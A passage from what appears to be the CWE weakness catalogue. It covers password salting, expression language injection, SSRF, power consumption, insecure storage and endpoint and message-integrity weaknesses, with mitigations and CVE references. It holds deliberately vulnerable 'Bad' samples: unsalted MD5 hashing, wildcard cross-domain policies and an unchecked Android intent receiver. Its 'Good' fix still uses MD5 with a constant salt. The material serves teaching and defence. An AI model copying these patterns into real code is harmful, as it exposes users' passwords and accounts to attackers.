According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Demonstrative Examples

Example 1:

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

Example Language: Python *(Bad)*

```
def storePassword(userName,Password):
  hasher = hashlib.new('md5')
  hasher.update(Password)
  hashedPassword = hasher.digest()
  # UpdateUserLogin returns True on success, False otherwise
  return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

Example Language: Python *(Good)*

```
def storePassword(userName,Password):
  hasher = hashlib.new('md5',b'SaltGoesHere')
  hasher.update(Password)
  hashedPassword = hasher.digest()
  # UpdateUserLogin returns True on success, False otherwise
  return updateUserLogin(userName,hashedPassword)
```

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

Observed Examples

Reference	Description
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords. *https://www.cve.org/CVERecord?id=CVE-2008-1526*

Reference	Description
CVE-2006-1058	Router does not use a salt with a hash, making it easier to crack passwords. *https://www.cve.org/CVERecord?id=CVE-2006-1058*
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash. *https://www.cve.org/CVERecord?id=CVE-2008-4905*
CVE-2002-1657	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks. *https://www.cve.org/CVERecord?id=CVE-2002-1657*
CVE-2001-0967	Server uses a constant salt when encrypting passwords, simplifying brute force attacks. *https://www.cve.org/CVERecord?id=CVE-2001-0967*
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. *https://www.cve.org/CVERecord?id=CVE-2005-0408*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2488
MemberOf	C	1402	Comprehensive Categorization: Encryption	1400	2527

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
55	Rainbow Table Password Cracking

References

[REF-291]Johnny Shelley. "bcrypt". < http://bcrypt.sourceforge.net/ >.

[REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < http://www.tarsnap.com/scrypt.html >.

[REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < https://www.rfc-editor.org/rfc/rfc2898 >.2023-04-07.

[REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < https://codahale.com/how-to-safely-store-a-password/ >.2023-04-07.

[REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < https://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/ >.2023-04-07.

[REF-296]Solar Designer. "Password security: past, present, future". 2012. < https://www.openwall.com/presentations/PHDays2012-Password-Security/ >.2023-04-07.

[REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < https://www.troyhunt.com/our-password-hashing-has-no-clothes/ >.2023-04-07.

[REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < https://web.archive.org/web/20120629144851/http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/ >.2023-04-07.

[REF-636]Jeff Atwood. "Speed Hashing". 2012 April 6. < https://blog.codinghorror.com/speed-hashing/ >.2023-04-07.

[REF-631]OWASP. "Password Storage Cheat Sheet". < https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html >.2023-04-07.

[REF-632]Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007 September 0. < http://hashphp.org/hashing.html >.2023-04-07.

[REF-908]Solar Designer. "Password hashing at scale". 2012 October 1. < https://www.openwall.com/presentations/YaC2012-Password-Hashing-At-Scale/ >.2023-04-07.

[REF-909]Solar Designer. "New developments in password hashing: ROM-port-hard functions". 2012 November. < https://www.openwall.com/presentations/ZeroNights2012-New-In-Password-Hashing/ >.2023-04-07.

[REF-633]Robert Graham. "The Importance of Being Canonical". 2009 February 2. < https://blog.erratasec.com/2009/02/importance-of-being-canonical.html#.ZCbyY7LMJPY >.2023-04-07.

CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Weakness ID : 917
Structure : Simple
Abstraction : Base

Description

The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Extended Description

Frameworks such as Java Server Page (JSP) allow a developer to insert executable expressions within otherwise-static content. When the developer is not aware of the executable nature of these expressions and/or does not disable them, then if an attacker can inject expressions, this could lead to code execution or other unexpected behaviors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145
PeerOf	B	1336	Improper Neutralization of Special Elements Used in a Template Engine	2238

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	●	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2311

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Alternate Terms

EL Injection :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Avoid adding user-controlled data into an expression interpreter when possible.

Phase: Implementation

If user-controlled data must be added to an expression interpreter, one or more of the following should be performed: Validate that the user input will not evaluate as an expression Encode the user input in a way that ensures it is not evaluated as an expression

Phase: System Configuration

Phase: Operation

The framework or tooling might allow the developer to disable or deactivate the processing of EL expressions, such as setting the isELIgnored attribute for a JSP page to "true".

Observed Examples

Reference	Description
CVE-2021-44228	Product does not neutralize ${xyz} style expressions, allowing remote code execution. (log4shell vulnerability in log4j) *https://www.cve.org/CVERecord?id=CVE-2021-44228*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2435
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Notes

Maintenance

The interrelationships and differences between CWE-917 and CWE-1336 need to be further clarified.

Relationship

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

References

[REF-911]Stefano Di Paola and Arshan Dabirsiaghi. "Expression Language Injection". 2011 September 2. < https://mindedsecurity.com/wp-content/uploads/2020/10/ExpressionLanguageInjection.pdf >.2023-04-07.

[REF-912]Dan Amodio. "Remote Code with Expression Language Injection". 2012 December 4. < http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ >.2023-04-07.

[REF-1279]CWE/CAPEC. "Neutralizing Your Inputs: A Log4Shell Weakness Story". < https://medium.com/@CWE_CAPEC/neutralizing-your-inputs-a-log4shell-weakness-story-89954c8b25c9 >.

[REF-1280]OWASP. "Expression Language Injection". < https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection >.

CWE-918: Server-Side Request Forgery (SSRF)

Weakness ID : 918
Structure : Simple
Abstraction : Base

Description

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Extended Description

By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1064

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1364

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	2325

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Undetermined)*

Alternate Terms

XSPA : Cross Site Port Attack

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Observed Examples

Reference	Description
CVE-2021-26855	Server Side Request Forgery (SSRF) in mail server, as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-26855*
CVE-2021-21973	Server Side Request Forgery in cloud platform, as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-21973*
CVE-2016-4029	Chain: incorrect validation of intended decimal-based IP address format (CWE-1286) enables parsing of octal or hexadecimal formats (CWE-1389), allowing bypass of an SSRF protection mechanism (CWE-918). *https://www.cve.org/CVERecord?id=CVE-2016-4029*

Reference	Description
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. *https://www.cve.org/CVERecord?id=CVE-2002-1484*
CVE-2004-2061	CGI script accepts and retrieves incoming URLs. *https://www.cve.org/CVERecord?id=CVE-2004-2061*
CVE-2010-1637	Web-based mail program allows internal network scanning using a modified POP3 port number. *https://www.cve.org/CVERecord?id=CVE-2010-1637*
CVE-2009-0037	URL-downloading library automatically follows redirects to file:// and scp:// URLs *https://www.cve.org/CVERecord?id=CVE-2009-0037*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	C	1356	OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF)	1344	2497
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
664	Server Side Request Forgery

References

[REF-913]Alexander Polyakov and Dmitry Chastukhin. "SSRF vs. Business-critical applications: XXE tunneling in SAP". 2012 July 6. < https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf >.

[REF-914]Alexander Polyakov, Dmitry Chastukhin and Alexey Tyurin. "SSRF vs. Business-critical Applications. Part 1: XXE Tunnelling in SAP NetWeaver". < http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Businness-critical-applications-whitepaper.pdf >.

[REF-915]Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 1". 2012 November 7. < https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-1/ >.

[REF-916]Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 2". 2012 November 3. < https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-2/ >.

[REF-917]Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 3". 2012 November 4. < https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-3/ >.

[REF-918]Vladimir Vorontsov and Alexander Golovko. "SSRF attacks and sockets: smorgasbord of vulnerabilities". < https://www.slideshare.net/DefconRussia/vorontsov-golovko-ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities >.2023-04-07.

[REF-919]ONsec Lab. "SSRF bible. Cheatsheet". 2013 January 6. < https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1# >.

[REF-920]Deral Heiland. "Web Portals: Gateway To Information, Or A Hole In Our Perimeter Defenses". 2008 February. < http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt >.

CWE-920: Improper Restriction of Power Consumption

Weakness ID : 920
Structure : Simple
Abstraction : Base

Description

The product operates in an environment in which power is a limited resource that cannot be automatically replenished, but the product does not properly restrict the amount of power that its operation consumes.

Extended Description

In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the product itself, and the device might not always be directly attached to a reliable power source. If the product uses too much power too quickly, then this could cause the device (and subsequently, the product) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.

Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:

- Display
- CPU
- Disk I/O
- GPS
- Sound
- Microphone
- USB interface

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	400	Uncontrolled Resource Consumption	964

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	●	400	Uncontrolled Resource Consumption	964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2324

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart *The power source could be drained, causing the application - and the entire device - to cease functioning.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 3-3		Req SR 6.2
ISA/IEC 62443	Part 4-2		Req CR 6.2
ISA/IEC 62443	Part 4-1		Req SD-4

CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

Weakness ID : 921
Structure : Simple
Abstraction : Base

Description

The product stores sensitive information in a file system or device that does not have built-in access control.

Extended Description

While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.

On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	922	Insecure Storage of Sensitive Information	1825

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2312

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *Attackers can read sensitive information by accessing the unrestricted storage mechanism.*	
Integrity	Modify Application Data Modify Files or Directories *Attackers can modify or delete sensitive information by accessing the unrestricted storage mechanism.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-921]Android Open Source Project. "Security Tips". 2013 July 6. < https://developer.android.com/training/articles/security-tips.html#StoringData >.2023-04-07.

CWE-922: Insecure Storage of Sensitive Information

Weakness ID : 922
Structure : Simple
Abstraction : Class

Description

The product stores sensitive information without properly limiting read or write access by unauthorized actors.

Extended Description

If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454
ParentOf	B	312	Cleartext Storage of Sensitive Information	764
ParentOf	B	921	Storage of Sensitive Data in a Mechanism without Access Control	1824

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2428

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *Attackers can read sensitive information by accessing the unrestricted storage mechanism.*	
Integrity	Modify Application Data Modify Files or Directories *Attackers can overwrite sensitive information by accessing the unrestricted storage mechanism.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Observed Examples

Reference	Description
CVE-2009-2272	password and username stored in cleartext in a cookie *https://www.cve.org/CVERecord?id=CVE-2009-2272*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2576
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data. While data tampering would be visible upon inspection, the integrity and availability of the data is compromised prior to the audit.

Maintenance

This is a high-level entry that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.

CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

Weakness ID : 923
Structure : Simple
Abstraction : Class

Description

The product establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.

Extended Description

Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.

While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	680
ParentOf	V	291	Reliance on IP Address for Authentication	708
ParentOf	V	297	Improper Validation of Certificate with Host Mismatch	722
ParentOf	C	300	Channel Accessible by Non-Endpoint	730
ParentOf	B	419	Unprotected Primary Channel	1017

Nature	Type	ID	Name	Page
ParentOf	B	420	Unprotected Alternate Channel	1018
ParentOf	B	940	Improper Verification of Source of a Communication Channel	1842
ParentOf	B	941	Incorrectly Specified Destination in a Communication Channel	1845
ParentOf	V	942	Permissive Cross-domain Policy with Untrusted Domains	1847
ParentOf	V	1275	Sensitive Cookie with Improper SameSite Attribute	2110
CanFollow	B	322	Key Exchange without Entity Authentication	788
CanFollow	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	863

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Gain Privileges or Assume Identity *If an attacker can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml :

Example Language: XML *(Bad)*

```
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="*"/>
</cross-domain-policy>
```

Silverlight clientaccesspolicy.xml :

Example Language: XML *(Bad)*

```
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
```

```
<cross-domain-access>
<policy>
<allow-from http-request-headers="SOAPAction">
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
```

These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

Example 2:

This Android application will remove a user account when it receives an intent to do so:

Example Language: Java *(Bad)*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    int userID = intent.getIntExtra("userID");
    destroyUserData(userID);
  }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

Observed Examples

Reference	Description
CVE-2022-30319	S-bus functionality in a home automation product performs access control using an IP allowlist, which can be bypassed by a forged IP address. *https://www.cve.org/CVERecord?id=CVE-2022-30319*
CVE-2022-22547	A troubleshooting tool exposes a web server on a random port between 9000-65535 that could be used for information gathering *https://www.cve.org/CVERecord?id=CVE-2022-22547*
CVE-2022-4390	A WAN interface on a router has firewall restrictions enabled for IPv4, but it does not for IPv6, which is enabled by default *https://www.cve.org/CVERecord?id=CVE-2022-4390*
CVE-2012-2292	Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy. *https://www.cve.org/CVERecord?id=CVE-2012-2292*
CVE-2012-5810	Mobile banking application does not verify hostname, leading to financial loss. *https://www.cve.org/CVERecord?id=CVE-2012-5810*
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversry-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). *https://www.cve.org/CVERecord?id=CVE-2014-1266*

Reference	Description
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://www.cve.org/CVERecord?id=CVE-2000-1218*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
161	Infrastructure Manipulation
481	Contradictory Destinations in Traffic Routing Schemes
501	Android Activity Hijack
697	DHCP Spoofing

CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Weakness ID : 924
Structure : Simple
Abstraction : Base

Description

The product establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

Extended Description

Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	851

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	851

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	2434

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2477
MemberOf	C	417	Communication Channel Errors	2325

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Gain Privileges or Assume Identity *If an attackers can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1411	Comprehensive Categorization: Insufficient Verification of Data Authenticity	1400	2538

Notes

Maintenance

This entry should be made more comprehensive in later CWE versions, as it is likely an important design flaw that underlies (or chains to) other weaknesses.

CWE-925: Improper Verification of Intent by Broadcast Receiver

Weakness ID : 925
Structure : Simple
Abstraction : Variant

